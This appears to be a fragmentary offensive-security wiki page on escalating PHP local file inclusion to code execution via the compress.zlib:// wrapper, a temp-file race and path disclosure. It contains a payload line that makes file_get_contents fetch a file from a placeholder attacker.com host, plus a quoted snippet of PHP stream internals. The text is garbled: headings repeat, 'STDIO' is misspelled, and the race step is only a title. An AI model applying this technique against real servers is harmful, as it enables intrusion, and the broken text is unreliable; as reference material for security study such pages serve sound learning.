LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
compress.zlib:// and PHP_STREAM_PREFER_STDIO
compress.zlib:// and PHP_STREAM_PREFER_STDIOfile_get_contents("compress.zlib://http://attacker.com/file")/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}Race Condition to RCE
Last updated

